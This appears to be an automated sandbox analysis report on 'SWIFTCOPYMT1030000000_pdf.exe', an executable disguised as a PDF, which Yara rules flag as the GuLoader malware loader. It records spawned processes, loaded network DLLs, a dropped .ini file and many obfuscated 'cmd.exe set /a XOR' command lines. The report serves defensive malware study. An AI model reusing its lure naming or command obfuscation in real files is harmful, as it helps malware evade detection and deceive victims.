Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "201^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Section loaded: ntasn1.dll	Jump to behavior

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe

File written: C:\Windows\Resources\0409\gashanens.ini

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000006.00000002.134275655794.00000000085F6000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.134274135976.0000000000863000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.134274135976.000000000081E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SWIFTCOPYMT1030000000_pdf.exe PID: 1976, type: MEMORYSTR

Obfuscated command line found

Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "227^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "130^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "131^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "139^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "139^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "247^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "221^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "240^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "153^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "220^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "195^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "133^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "193^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "133^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "201^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "227^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "130^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "131^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "139^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "139^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "250^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "244^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "227^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "255^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "247^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "221^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "212^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "240^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "153^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "220^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "195^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "133^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "216^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "253^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "137^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "129^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "242^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "153^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "220^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "157^177"	Jump to behavior
Source: C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c set /a "145^177"	Jump to behavior
